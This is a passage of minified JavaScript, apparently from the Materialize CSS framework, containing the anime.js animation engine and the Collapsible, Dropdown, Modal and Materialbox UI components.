s=(s=l(i))?i.substr(0,i.length-s.length):i,i=e&&!/\s/g.test(i)?s+e:s;return{original:i+="",numbers:i.match(n)?i.match(n).map(Number):[0],strings:B.str(t)||e?i.split(n):[]}}function y(t){return b(t=t?d(B.arr(t)?t.map(o):o(t)):[],function(t,e,i){return i.indexOf(t)===e})}function k(t,i){var e=r(i);if(B.arr(t)){var n=t.length;2!==n||B.obj(t[0])?B.fnc(i.duration)||(e.duration=i.duration/n):t={value:t}}return o(t).map(function(t,e){return e=e?0:i.delay,t=B.obj(t)&&!B.pth(t)?t:{value:t},B.und(t.delay)&&(t.delay=e),t}).map(function(t){return c(t,e)})}function E(o,a){var r;return o.tweens.map(function(t){var e=(t=function(t,e){var i,n={};for(i in t){var s=h(t[i],e);B.arr(s)&&1===(s=s.map(function(t){return h(t,e)})).length&&(s=s[0]),n[i]=s}return n.duration=parseFloat(n.duration),n.delay=parseFloat(n.delay),n}(t,a)).value,i=v(a.target,o.name),n=r?r.to.original:i,n=B.arr(e)?e[0]:n,s=f(B.arr(e)?e[1]:e,n),i=l(s)||l(n)||l(i);return t.from=_(n,i),t.to=_(s,i),t.start=r?r.end:o.offset,t.end=t.start+t.delay+t.duration,t.easing=function(t){return B.arr(t)?D.apply(this,t):S[t]}(t.easing),t.elasticity=(1e3-Math.min(Math.max(t.elasticity,1),999))/1e3,t.isPath=B.pth(e),t.isColor=B.col(t.from.original),t.isColor&&(t.round=1),r=t})}function M(e,t,i,n){var s="delay"===e;return t.length?(s?Math.min:Math.max).apply(Math,t.map(function(t){return t[e]})):s?n.delay:i.offset+n.delay+n.duration}function n(t){var e,i,n,s,o=u(L,t),a=u(T,t),r=(i=t.targets,(n=y(i)).map(function(t,e){return{target:t,id:e,total:n.length}})),l=[],h=c(o,a);for(e in t)h.hasOwnProperty(e)||"targets"===e||l.push({name:e,offset:h.offset,tweens:k(t[e],a)});return s=l,t=b(d(r.map(function(n){return s.map(function(t){var e=p(n.target,t.name);if(e){var i=E(t,n);t={type:e,property:t.name,animatable:n,tweens:i,duration:i[i.length-1].end,delay:i[0].delay}}else t=void 0;return t})})),function(t){return!B.und(t)}),c(o,{children:[],animatables:r,animations:t,duration:M("duration",t,o,a),delay:M("delay",t,o,a)})}function O(t){function d(){return window.Promise&&new Promise(function(t){return _=t})}function u(t){return k.reversed?k.duration-t:t}function c(e){for(var t=0,i={},n=k.animations,s=n.length;t<s;){var o=n[t],a=o.animatable,r=o.tweens,l=r.length-1,h=r[l];l&&(h=b(r,function(t){return e<t.end})[0]||h);for(var r=Math.min(Math.max(e-h.start-h.delay,0),h.duration)/h.duration,d=isNaN(r)?1:h.easing(r,h.elasticity),r=h.to.strings,u=h.round,l=[],c=void 0,c=h.to.numbers.length,p=0;p<c;p++){var v=void 0,v=h.to.numbers[p],f=h.from.numbers[p],v=h.isPath?C(h.value,d*v):f+d*(v-f);u&&(h.isColor&&2<p||(v=Math.round(v*u)/u)),l.push(v)}if(h=r.length)for(c=r[0],d=0;d<h;d++)u=r[d+1],p=l[d],isNaN(p)||(c=u?c+(p+u):c+(p+" "));else c=l[0];I[o.type](a.target,o.property,c,i,a.id),o.currentValue=c,t++}if(t=Object.keys(i).length)for(n=0;n<t;n++)x||(x=w(document.body,"transform")?"transform":"-webkit-transform"),k.animatables[n].target.style[x]=i[n].join(" ");k.currentTime=e,k.progress=e/k.duration*100}function p(t){k[t]&&k[t](k)}function v(){k.remaining&&!0!==k.remaining&&k.remaining--}function e(t){var e=k.duration,i=k.offset,n=i+k.delay,s=k.currentTime,o=k.reversed,a=u(t);if(k.children.length){var r=k.children,l=r.length;if(a>=k.currentTime)for(var h=0;h<l;h++)r[h].seek(a);else for(;l--;)r[l].seek(a)}(n<=a||!e)&&(k.began||(k.began=!0,p("begin")),p("run")),i<a&&a<e?c(a):(a<=i&&0!==s&&(c(0),o&&v()),(e<=a&&s!==e||!e)&&(c(e),o||v())),p("update"),e<=t&&(k.remaining?(m=f,"alternate"===k.direction&&(k.reversed=!k.reversed)):(k.pause(),k.completed||(k.completed=!0,p("complete"),"Promise"in window&&(_(),y=d()))),g=0)}t=void 0===t?{}:t;var f,m,g=0,_=null,y=d(),k=n(t);return k.reset=function(){var t=k.direction,e=k.loop;for(k.currentTime=0,k.progress=0,k.paused=!0,k.began=!1,k.completed=!1,k.reversed="reverse"===t,k.remaining="alternate"===t&&1===e?2:e,c(0),t=k.children.length;t--;)k.children[t].reset()},k.tick=function(t){f=t,m||(m=f),e((g+f-m)*O.speed)},k.seek=function(t){e(u(t))},k.pause=function(){var t=A.indexOf(k);-1<t&&A.splice(t,1),k.paused=!0},k.play=function(){k.paused&&(k.paused=!1,m=0,g=u(k.currentTime),A.push(k),R||H())},k.reverse=function(){k.reversed=!k.reversed,m=0,g=u(k.currentTime)},k.restart=function(){k.pause(),k.reset(),k.play()},k.finished=y,k.reset(),k.autoplay&&k.play(),k}var x,L={update:void 0,begin:void 0,run:void 0,complete:void 0,loop:1,direction:"normal",autoplay:!0,offset:0},T={duration:1e3,delay:0,easing:"easeOutElastic",elasticity:500,round:0},$="translateX translateY translateZ rotate rotateX rotateY rotateZ scale scaleX scaleY scaleZ skewX skewY perspective".split(" "),B={arr:function(t){return Array.isArray(t)},obj:function(t){return-1<Object.prototype.toString.call(t).indexOf("Object")},pth:function(t){return B.obj(t)&&t.hasOwnProperty("totalLength")},svg:function(t){return t instanceof SVGElement},dom:function(t){return t.nodeType||B.svg(t)},str:function(t){return"string"==typeof t},fnc:function(t){return"function"==typeof t},und:function(t){return void 0===t},hex:function(t){return/(^#[0-9A-F]{6}$)|(^#[0-9A-F]{3}$)/i.test(t)},rgb:function(t){return/^rgb/.test(t)},hsl:function(t){return/^hsl/.test(t)},col:function(t){return B.hex(t)||B.rgb(t)||B.hsl(t)}},D=function(){function u(t,e,i){return(((1-3*i+3*e)*t+(3*i-6*e))*t+3*e)*t}return function(a,r,l,h){if(0<=a&&a<=1&&0<=l&&l<=1){var d=new Float32Array(11);if(a!==r||l!==h)for(var t=0;t<11;++t)d[t]=u(.1*t,a,l);return function(t){if(a===r&&l===h)return t;if(0===t)return 0;if(1===t)return 1;for(var e=0,i=1;10!==i&&d[i]<=t;++i)e+=.1;var i=e+(t-d[--i])/(d[i+1]-d[i])*.1,n=3*(1-3*l+3*a)*i*i+2*(3*l-6*a)*i+3*a;if(.001<=n){for(e=0;e<4&&0!=(n=3*(1-3*l+3*a)*i*i+2*(3*l-6*a)*i+3*a);++e)var s=u(i,a,l)-t,i=i-s/n;t=i}else if(0===n)t=i;else{for(var i=e,e=e+.1,o=0;0<(n=u(s=i+(e-i)/2,a,l)-t)?e=s:i=s,1e-7<Math.abs(n)&&++o<10;);t=s}return u(t,r,h)}}}}(),S=function(){function i(t,e){return 0===t||1===t?t:-Math.pow(2,10*(t-1))*Math.sin(2*(t-1-e/(2*Math.PI)*Math.asin(1))*Math.PI/e)}var t,n="Quad Cubic Quart Quint Sine Expo Circ Back Elastic".split(" "),e={In:[[.55,.085,.68,.53],[.55,.055,.675,.19],[.895,.03,.685,.22],[.755,.05,.855,.06],[.47,0,.745,.715],[.95,.05,.795,.035],[.6,.04,.98,.335],[.6,-.28,.735,.045],i],Out:[[.25,.46,.45,.94],[.215,.61,.355,1],[.165,.84,.44,1],[.23,1,.32,1],[.39,.575,.565,1],[.19,1,.22,1],[.075,.82,.165,1],[.175,.885,.32,1.275],function(t,e){return 1-i(1-t,e)}],InOut:[[.455,.03,.515,.955],[.645,.045,.355,1],[.77,0,.175,1],[.86,0,.07,1],[.445,.05,.55,.95],[1,0,0,1],[.785,.135,.15,.86],[.68,-.55,.265,1.55],function(t,e){return t<.5?i(2*t,e)/2:1-i(-2*t+2,e)/2}]},s={linear:D(.25,.25,.75,.75)},o={};for(t in e)o.type=t,e[o.type].forEach(function(i){return function(t,e){s["ease"+i.type+n[e]]=B.fnc(t)?t:D.apply($jscomp$this,t)}}(o)),o={type:o.type};return s}(),I={css:function(t,e,i){return t.style[e]=i},attribute:function(t,e,i){return t.setAttribute(e,i)},object:function(t,e,i){return t[e]=i},transform:function(t,e,i,n,s){n[s]||(n[s]=[]),n[s].push(e+"("+i+")")}},A=[],R=0,H=function(){function n(){R=requestAnimationFrame(t)}function t(t){var e=A.length;if(e){for(var i=0;i<e;)A[i]&&A[i].tick(t),i++;n()}else cancelAnimationFrame(R),R=0}return n}();return O.version="2.2.0",O.speed=1,O.running=A,O.remove=function(t){t=y(t);for(var e=A.length;e--;)for(var i=A[e],n=i.animations,s=n.length;s--;)a(t,n[s].animatable.target)&&(n.splice(s,1),n.length||i.pause())},O.getValue=v,O.path=function(t,e){var i=B.str(t)?s(t)[0]:t,n=e||100;return function(t){return{el:i,property:t,totalLength:g(i)*(n/100)}}},O.setDashoffset=function(t){var e=g(t);return t.setAttribute("stroke-dasharray",e),e},O.bezier=D,O.easings=S,O.timeline=function(n){var s=O(n);return s.pause(),s.duration=0,s.add=function(t){return s.children.forEach(function(t){t.began=!0,t.completed=!0}),o(t).forEach(function(t){var e=c(t,u(T,n||{}));e.targets=e.targets||n.targets,t=s.duration;var i=e.offset;e.autoplay=!1,e.direction=s.direction,e.offset=B.und(i)?t:f(i,t),s.began=!0,s.completed=!0,s.seek(e.offset),(e=O(e)).began=!0,e.completed=!0,e.duration>t&&(s.duration=e.duration),s.children.push(e)}),s.seek(0),s.reset(),s.autoplay&&s.restart(),s},s},O.random=function(t,e){return Math.floor(Math.random()*(e-t+1))+t},O}(),function(r,l){"use strict";var e={accordion:!0,onOpenStart:void 0,onOpenEnd:void 0,onCloseStart:void 0,onCloseEnd:void 0,inDuration:300,outDuration:300},t=function(t){function s(t,e){_classCallCheck(this,s);var i=_possibleConstructorReturn(this,(s.__proto__||Object.getPrototypeOf(s)).call(this,s,t,e));(i.el.M_Collapsible=i).options=r.extend({},s.defaults,e),i.$headers=i.$el.children("li").children(".collapsible-header"),i.$headers.attr("tabindex",0),i._setupEventHandlers();var n=i.$el.children("li.active").children(".collapsible-body");return i.options.accordion?n.first().css("display","block"):n.css("display","block"),i}return _inherits(s,Component),_createClass(s,[{key:"destroy",value:function(){this._removeEventHandlers(),this.el.M_Collapsible=void 0}},{key:"_setupEventHandlers",value:function(){var e=this;this._handleCollapsibleClickBound=this._handleCollapsibleClick.bind(this),this._handleCollapsibleKeydownBound=this._handleCollapsibleKeydown.bind(this),this.el.addEventListener("click",this._handleCollapsibleClickBound),this.$headers.each(function(t){t.addEventListener("keydown",e._handleCollapsibleKeydownBound)})}},{key:"_removeEventHandlers",value:function(){var e=this;this.el.removeEventListener("click",this._handleCollapsibleClickBound),this.$headers.each(function(t){t.removeEventListener("keydown",e._handleCollapsibleKeydownBound)})}},{key:"_handleCollapsibleClick",value:function(t){var e=r(t.target).closest(".collapsible-header");if(t.target&&e.length){var i=e.closest(".collapsible");if(i[0]===this.el){var n=e.closest("li"),s=i.children("li"),o=n[0].classList.contains("active"),a=s.index(n);o?this.close(a):this.open(a)}}}},{key:"_handleCollapsibleKeydown",value:function(t){13===t.keyCode&&this._handleCollapsibleClickBound(t)}},{key:"_animateIn",value:function(t){var e=this,i=this.$el.children("li").eq(t);if(i.length){var n=i.children(".collapsible-body");l.remove(n[0]),n.css({display:"block",overflow:"hidden",height:0,paddingTop:"",paddingBottom:""});var s=n.css("padding-top"),o=n.css("padding-bottom"),a=n[0].scrollHeight;n.css({paddingTop:0,paddingBottom:0}),l({targets:n[0],height:a,paddingTop:s,paddingBottom:o,duration:this.options.inDuration,easing:"easeInOutCubic",complete:function(t){n.css({overflow:"",paddingTop:"",paddingBottom:"",height:""}),"function"==typeof e.options.onOpenEnd&&e.options.onOpenEnd.call(e,i[0])}})}}},{key:"_animateOut",value:function(t){var e=this,i=this.$el.children("li").eq(t);if(i.length){var n=i.children(".collapsible-body");l.remove(n[0]),n.css("overflow","hidden"),l({targets:n[0],height:0,paddingTop:0,paddingBottom:0,duration:this.options.outDuration,easing:"easeInOutCubic",complete:function(){n.css({height:"",overflow:"",padding:"",display:""}),"function"==typeof e.options.onCloseEnd&&e.options.onCloseEnd.call(e,i[0])}})}}},{key:"open",value:function(t){var i=this,e=this.$el.children("li").eq(t);if(e.length&&!e[0].classList.contains("active")){if("function"==typeof this.options.onOpenStart&&this.options.onOpenStart.call(this,e[0]),this.options.accordion){var n=this.$el.children("li");this.$el.children("li.active").each(function(t){var e=n.index(r(t));i.close(e)})}e[0].classList.add("active"),this._animateIn(t)}}},{key:"close",value:function(t){var e=this.$el.children("li").eq(t);e.length&&e[0].classList.contains("active")&&("function"==typeof this.options.onCloseStart&&this.options.onCloseStart.call(this,e[0]),e[0].classList.remove("active"),this._animateOut(t))}}],[{key:"init",value:function(t,e){return _get(s.__proto__||Object.getPrototypeOf(s),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Collapsible}},{key:"defaults",get:function(){return e}}]),s}();M.Collapsible=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"collapsible","M_Collapsible")}(cash,M.anime),function(h,i){"use strict";var e={alignment:"left",autoFocus:!0,constrainWidth:!0,container:null,coverTrigger:!0,closeOnClick:!0,hover:!1,inDuration:150,outDuration:250,onOpenStart:null,onOpenEnd:null,onCloseStart:null,onCloseEnd:null,onItemClick:null},t=function(t){function n(t,e){_classCallCheck(this,n);var i=_possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,n,t,e));return i.el.M_Dropdown=i,n._dropdowns.push(i),i.id=M.getIdFromTrigger(t),i.dropdownEl=document.getElementById(i.id),i.$dropdownEl=h(i.dropdownEl),i.options=h.extend({},n.defaults,e),i.isOpen=!1,i.isScrollable=!1,i.isTouchMoving=!1,i.focusedIndex=-1,i.filterQuery=[],i.options.container?h(i.options.container).append(i.dropdownEl):i.$el.after(i.dropdownEl),i._makeDropdownFocusable(),i._resetFilterQueryBound=i._resetFilterQuery.bind(i),i._handleDocumentClickBound=i._handleDocumentClick.bind(i),i._handleDocumentTouchmoveBound=i._handleDocumentTouchmove.bind(i),i._handleDropdownClickBound=i._handleDropdownClick.bind(i),i._handleDropdownKeydownBound=i._handleDropdownKeydown.bind(i),i._handleTriggerKeydownBound=i._handleTriggerKeydown.bind(i),i._setupEventHandlers(),i}return _inherits(n,Component),_createClass(n,[{key:"destroy",value:function(){this._resetDropdownStyles(),this._removeEventHandlers(),n._dropdowns.splice(n._dropdowns.indexOf(this),1),this.el.M_Dropdown=void 0}},{key:"_setupEventHandlers",value:function(){this.el.addEventListener("keydown",this._handleTriggerKeydownBound),this.dropdownEl.addEventListener("click",this._handleDropdownClickBound),this.options.hover?(this._handleMouseEnterBound=this._handleMouseEnter.bind(this),this.el.addEventListener("mouseenter",this._handleMouseEnterBound),this._handleMouseLeaveBound=this._handleMouseLeave.bind(this),this.el.addEventListener("mouseleave",this._handleMouseLeaveBound),this.dropdownEl.addEventListener("mouseleave",this._handleMouseLeaveBound)):(this._handleClickBound=this._handleClick.bind(this),this.el.addEventListener("click",this._handleClickBound))}},{key:"_removeEventHandlers",value:function(){this.el.removeEventListener("keydown",this._handleTriggerKeydownBound),this.dropdownEl.removeEventListener("click",this._handleDropdownClickBound),this.options.hover?(this.el.removeEventListener("mouseenter",this._handleMouseEnterBound),this.el.removeEventListener("mouseleave",this._handleMouseLeaveBound),this.dropdownEl.removeEventListener("mouseleave",this._handleMouseLeaveBound)):this.el.removeEventListener("click",this._handleClickBound)}},{key:"_setupTemporaryEventHandlers",value:function(){document.body.addEventListener("click",this._handleDocumentClickBound,!0),document.body.addEventListener("touchend",this._handleDocumentClickBound),document.body.addEventListener("touchmove",this._handleDocumentTouchmoveBound),this.dropdownEl.addEventListener("keydown",this._handleDropdownKeydownBound)}},{key:"_removeTemporaryEventHandlers",value:function(){document.body.removeEventListener("click",this._handleDocumentClickBound,!0),document.body.removeEventListener("touchend",this._handleDocumentClickBound),document.body.removeEventListener("touchmove",this._handleDocumentTouchmoveBound),this.dropdownEl.removeEventListener("keydown",this._handleDropdownKeydownBound)}},{key:"_handleClick",value:function(t){t.preventDefault(),this.open()}},{key:"_handleMouseEnter",value:function(){this.open()}},{key:"_handleMouseLeave",value:function(t){var e=t.toElement||t.relatedTarget,i=!!h(e).closest(".dropdown-content").length,n=!1,s=h(e).closest(".dropdown-trigger");s.length&&s[0].M_Dropdown&&s[0].M_Dropdown.isOpen&&(n=!0),n||i||this.close()}},{key:"_handleDocumentClick",value:function(t){var e=this,i=h(t.target);this.options.closeOnClick&&i.closest(".dropdown-content").length&&!this.isTouchMoving?setTimeout(function(){e.close()},0):!i.closest(".dropdown-trigger").length&&i.closest(".dropdown-content").length||setTimeout(function(){e.close()},0),this.isTouchMoving=!1}},{key:"_handleTriggerKeydown",value:function(t){t.which!==M.keys.ARROW_DOWN&&t.which!==M.keys.ENTER||this.isOpen||(t.preventDefault(),this.open())}},{key:"_handleDocumentTouchmove",value:function(t){h(t.target).closest(".dropdown-content").length&&(this.isTouchMoving=!0)}},{key:"_handleDropdownClick",value:function(t){if("function"==typeof this.options.onItemClick){var e=h(t.target).closest("li")[0];this.options.onItemClick.call(this,e)}}},{key:"_handleDropdownKeydown",value:function(t){if(t.which===M.keys.TAB)t.preventDefault(),this.close();else if(t.which!==M.keys.ARROW_DOWN&&t.which!==M.keys.ARROW_UP||!this.isOpen)if(t.which===M.keys.ENTER&&this.isOpen){var e=this.dropdownEl.children[this.focusedIndex],i=h(e).find("a, button").first();i.length?i[0].click():e&&e.click()}else t.which===M.keys.ESC&&this.isOpen&&(t.preventDefault(),this.close());else{t.preventDefault();var n=t.which===M.keys.ARROW_DOWN?1:-1,s=this.focusedIndex,o=!1;do{if(s+=n,this.dropdownEl.children[s]&&-1!==this.dropdownEl.children[s].tabIndex){o=!0;break}}while(s<this.dropdownEl.children.length&&0<=s);o&&(this.focusedIndex=s,this._focusFocusedItem())}var a=String.fromCharCode(t.which).toLowerCase();if(a&&-1===[9,13,27,38,40].indexOf(t.which)){this.filterQuery.push(a);var r=this.filterQuery.join(""),l=h(this.dropdownEl).find("li").filter(function(t){return 0===h(t).text().toLowerCase().indexOf(r)})[0];l&&(this.focusedIndex=h(l).index(),this._focusFocusedItem())}this.filterTimeout=setTimeout(this._resetFilterQueryBound,1e3)}},{key:"_resetFilterQuery",value:function(){this.filterQuery=[]}},{key:"_resetDropdownStyles",value:function(){this.$dropdownEl.css({display:"",width:"",height:"",left:"",top:"","transform-origin":"",transform:"",opacity:""})}},{key:"_makeDropdownFocusable",value:function(){this.dropdownEl.tabIndex=0,h(this.dropdownEl).children().each(function(t){t.getAttribute("tabindex")||t.setAttribute("tabindex",0)})}},{key:"_focusFocusedItem",value:function(){0<=this.focusedIndex&&this.focusedIndex<this.dropdownEl.children.length&&this.options.autoFocus&&this.dropdownEl.children[this.focusedIndex].focus()}},{key:"_getDropdownPosition",value:function(){this.el.offsetParent.getBoundingClientRect();var t=this.el.getBoundingClientRect(),e=this.dropdownEl.getBoundingClientRect(),i=e.height,n=e.width,s=t.left-e.left,o=t.top-e.top,a={left:s,top:o,height:i,width:n},r=this.dropdownEl.offsetParent?this.dropdownEl.offsetParent:this.dropdownEl.parentNode,l=M.checkPossibleAlignments(this.el,r,a,this.options.coverTrigger?0:t.height),h="top",d=this.options.alignment;if(o+=this.options.coverTrigger?0:t.height,this.isScrollable=!1,l.top||(l.bottom?h="bottom":(this.isScrollable=!0,l.spaceOnTop>l.spaceOnBottom?(h="bottom",i+=l.spaceOnTop,o-=l.spaceOnTop):i+=l.spaceOnBottom)),!l[d]){var u="left"===d?"right":"left";l[u]?d=u:l.spaceOnLeft>l.spaceOnRight?(d="right",n+=l.spaceOnLeft,s-=l.spaceOnLeft):(d="left",n+=l.spaceOnRight)}return"bottom"===h&&(o=o-e.height+(this.options.coverTrigger?t.height:0)),"right"===d&&(s=s-e.width+t.width),{x:s,y:o,verticalAlignment:h,horizontalAlignment:d,height:i,width:n}}},{key:"_animateIn",value:function(){var e=this;i.remove(this.dropdownEl),i({targets:this.dropdownEl,opacity:{value:[0,1],easing:"easeOutQuad"},scaleX:[.3,1],scaleY:[.3,1],duration:this.options.inDuration,easing:"easeOutQuint",complete:function(t){e.options.autoFocus&&e.dropdownEl.focus(),"function"==typeof e.options.onOpenEnd&&e.options.onOpenEnd.call(e,e.el)}})}},{key:"_animateOut",value:function(){var e=this;i.remove(this.dropdownEl),i({targets:this.dropdownEl,opacity:{value:0,easing:"easeOutQuint"},scaleX:.3,scaleY:.3,duration:this.options.outDuration,easing:"easeOutQuint",complete:function(t){e._resetDropdownStyles(),"function"==typeof e.options.onCloseEnd&&e.options.onCloseEnd.call(e,e.el)}})}},{key:"_placeDropdown",value:function(){var t=this.options.constrainWidth?this.el.getBoundingClientRect().width:this.dropdownEl.getBoundingClientRect().width;this.dropdownEl.style.width=t+"px";var e=this._getDropdownPosition();this.dropdownEl.style.left=e.x+"px",this.dropdownEl.style.top=e.y+"px",this.dropdownEl.style.height=e.height+"px",this.dropdownEl.style.width=e.width+"px",this.dropdownEl.style.transformOrigin=("left"===e.horizontalAlignment?"0":"100%")+" "+("top"===e.verticalAlignment?"0":"100%")}},{key:"open",value:function(){this.isOpen||(this.isOpen=!0,"function"==typeof this.options.onOpenStart&&this.options.onOpenStart.call(this,this.el),this._resetDropdownStyles(),this.dropdownEl.style.display="block",this._placeDropdown(),this._animateIn(),this._setupTemporaryEventHandlers())}},{key:"close",value:function(){this.isOpen&&(this.isOpen=!1,this.focusedIndex=-1,"function"==typeof this.options.onCloseStart&&this.options.onCloseStart.call(this,this.el),this._animateOut(),this._removeTemporaryEventHandlers(),this.options.autoFocus&&this.el.focus())}},{key:"recalculateDimensions",value:function(){this.isOpen&&(this.$dropdownEl.css({width:"",height:"",left:"",top:"","transform-origin":""}),this._placeDropdown())}}],[{key:"init",value:function(t,e){return _get(n.__proto__||Object.getPrototypeOf(n),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Dropdown}},{key:"defaults",get:function(){return e}}]),n}();t._dropdowns=[],M.Dropdown=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"dropdown","M_Dropdown")}(cash,M.anime),function(s,i){"use strict";var e={opacity:.5,inDuration:250,outDuration:250,onOpenStart:null,onOpenEnd:null,onCloseStart:null,onCloseEnd:null,preventScrolling:!0,dismissible:!0,startingTop:"4%",endingTop:"10%"},t=function(t){function n(t,e){_classCallCheck(this,n);var i=_possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,n,t,e));return(i.el.M_Modal=i).options=s.extend({},n.defaults,e),i.isOpen=!1,i.id=i.$el.attr("id"),i._openingTrigger=void 0,i.$overlay=s('<div class="modal-overlay"></div>'),i.el.tabIndex=0,i._nthModalOpened=0,n._count++,i._setupEventHandlers(),i}return _inherits(n,Component),_createClass(n,[{key:"destroy",value:function(){n._count--,this._removeEventHandlers(),this.el.removeAttribute("style"),this.$overlay.remove(),this.el.M_Modal=void 0}},{key:"_setupEventHandlers",value:function(){this._handleOverlayClickBound=this._handleOverlayClick.bind(this),this._handleModalCloseClickBound=this._handleModalCloseClick.bind(this),1===n._count&&document.body.addEventListener("click",this._handleTriggerClick),this.$overlay[0].addEventListener("click",this._handleOverlayClickBound),this.el.addEventListener("click",this._handleModalCloseClickBound)}},{key:"_removeEventHandlers",value:function(){0===n._count&&document.body.removeEventListener("click",this._handleTriggerClick),this.$overlay[0].removeEventListener("click",this._handleOverlayClickBound),this.el.removeEventListener("click",this._handleModalCloseClickBound)}},{key:"_handleTriggerClick",value:function(t){var e=s(t.target).closest(".modal-trigger");if(e.length){var i=M.getIdFromTrigger(e[0]),n=document.getElementById(i).M_Modal;n&&n.open(e),t.preventDefault()}}},{key:"_handleOverlayClick",value:function(){this.options.dismissible&&this.close()}},{key:"_handleModalCloseClick",value:function(t){s(t.target).closest(".modal-close").length&&this.close()}},{key:"_handleKeydown",value:function(t){27===t.keyCode&&this.options.dismissible&&this.close()}},{key:"_handleFocus",value:function(t){this.el.contains(t.target)||this._nthModalOpened!==n._modalsOpen||this.el.focus()}},{key:"_animateIn",value:function(){var t=this;s.extend(this.el.style,{display:"block",opacity:0}),s.extend(this.$overlay[0].style,{display:"block",opacity:0}),i({targets:this.$overlay[0],opacity:this.options.opacity,duration:this.options.inDuration,easing:"easeOutQuad"});var e={targets:this.el,duration:this.options.inDuration,easing:"easeOutCubic",complete:function(){"function"==typeof t.options.onOpenEnd&&t.options.onOpenEnd.call(t,t.el,t._openingTrigger)}};this.el.classList.contains("bottom-sheet")?s.extend(e,{bottom:0,opacity:1}):s.extend(e,{top:[this.options.startingTop,this.options.endingTop],opacity:1,scaleX:[.8,1],scaleY:[.8,1]}),i(e)}},{key:"_animateOut",value:function(){var t=this;i({targets:this.$overlay[0],opacity:0,duration:this.options.outDuration,easing:"easeOutQuart"});var e={targets:this.el,duration:this.options.outDuration,easing:"easeOutCubic",complete:function(){t.el.style.display="none",t.$overlay.remove(),"function"==typeof t.options.onCloseEnd&&t.options.onCloseEnd.call(t,t.el)}};this.el.classList.contains("bottom-sheet")?s.extend(e,{bottom:"-100%",opacity:0}):s.extend(e,{top:[this.options.endingTop,this.options.startingTop],opacity:0,scaleX:.8,scaleY:.8}),i(e)}},{key:"open",value:function(t){if(!this.isOpen)return this.isOpen=!0,n._modalsOpen++,this._nthModalOpened=n._modalsOpen,this.$overlay[0].style.zIndex=1e3+2*n._modalsOpen,this.el.style.zIndex=1e3+2*n._modalsOpen+1,this._openingTrigger=t?t[0]:void 0,"function"==typeof this.options.onOpenStart&&this.options.onOpenStart.call(this,this.el,this._openingTrigger),this.options.preventScrolling&&(document.body.style.overflow="hidden"),this.el.classList.add("open"),this.el.insertAdjacentElement("afterend",this.$overlay[0]),this.options.dismissible&&(this._handleKeydownBound=this._handleKeydown.bind(this),this._handleFocusBound=this._handleFocus.bind(this),document.addEventListener("keydown",this._handleKeydownBound),document.addEventListener("focus",this._handleFocusBound,!0)),i.remove(this.el),i.remove(this.$overlay[0]),this._animateIn(),this.el.focus(),this}},{key:"close",value:function(){if(this.isOpen)return this.isOpen=!1,n._modalsOpen--,this._nthModalOpened=0,"function"==typeof this.options.onCloseStart&&this.options.onCloseStart.call(this,this.el),this.el.classList.remove("open"),0===n._modalsOpen&&(document.body.style.overflow=""),this.options.dismissible&&(document.removeEventListener("keydown",this._handleKeydownBound),document.removeEventListener("focus",this._handleFocusBound,!0)),i.remove(this.el),i.remove(this.$overlay[0]),this._animateOut(),this}}],[{key:"init",value:function(t,e){return _get(n.__proto__||Object.getPrototypeOf(n),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Modal}},{key:"defaults",get:function(){return e}}]),n}();t._modalsOpen=0,t._count=0,M.Modal=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"modal","M_Modal")}(cash,M.anime),function(o,a){"use strict";var e={inDuration:275,outDuration:200,onOpenStart:null,onOpenEnd:null,onCloseStart:null,onCloseEnd:null},t=function(t){function n(t,e){_classCallCheck(this,n);var i=_possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,n,t,e));return(i.el.M_Materialbox=i).options=o.extend({},n.defaults,e),i.overlayActive=!1,i.doneAnimating=!0,i.placeholder=o("<div></div>").addClass("material-placeholder"),i.originalWidth=0,i.originalHeight=0,i.originInlineStyles=i.$el.attr("style"),i.caption=i.el.getAttribute("data-caption")||"",i.$el.before(i.placeholder),i.placeholder.append(i.$el),i._setupEventHandlers(),i}return _inherits(n,Component),_createClass(n,[{key:"destroy",value:function(){this._removeEventHandlers(),this.el.M_Materialbox=void 0,o(this.placeholder).after(this.el).remove(),this.$el.removeAttr("style")}},{key:"_setupEventHandlers",value:function(){this._handleMaterialboxClickBound=this._handleMaterialboxClick.bind(this),this.el.addEventListener("click",this._handleMaterialboxClickBound)}},{key:"_removeEventHandlers",value:function(){this.el.removeEventListener("click",this._handleMaterialboxClickBound)}},{key:"_handleMaterialboxClick",value:function(t){!1===this.doneAnimating||this.overlayActive&&this.doneAnimating?this.close():this.open()}},{key:"_handleWindowScroll",value:function(){this.overlayActive&&this.close()}},{key:"_handleWindowResize",value:function(){this.overlayActive&&this.close()}},{key:"_handleWindowEscape",value:function(t){27===t.keyCode&&this.doneAnimating&&this.overlayActive&&this.close()}},{key:"_makeAncestorsOverflowVisible",value:function(){this.ancestorsChanged=o();for(var t=this.placeholder[0].parentNode;null!==t&&!o(t).is(document);){var e=o(t);"visible"!==e.css("overflow")&&(e.css("overflow","visible"),void 0===this.ancestorsChanged?this.ancestorsChanged=e:this.ancestorsChanged=this.ancestorsChanged.add(e)),t=t.parentNode}}},{key:"_animateImageIn",value:function(){var t=this,e={targets:this.el,height:[this.originalHeight,this.newHeight],width:[this.originalWidth,this.newWidth],left:M.getDocumentScrollLeft()+this.windowWidth/2-this.placeholder.offset().left-this.newWidth/2,top:M.getDocumentScrollTop()+this.windowHeight/2-this.placeholder.offset().top-this.newHeight/2,duration:this.options.inDuration,easing:"easeOutQuad",complete:function(){t.doneAnimating=!0,"function"==typeof t.options.onOpenEnd&&t.options.onOpenEnd.call(t,t.el)}};this.maxWidth=this.$el.css("max-width"),this.maxHeight=this.$el.css("max-height"),"none"!==this.maxWidth&&(e.maxWidth=this.newWidth),"none"!==this.maxHeight&&(e.maxHeight=this.newHeight),a(e)}},{key:"_animateImageOut",value:function(){var 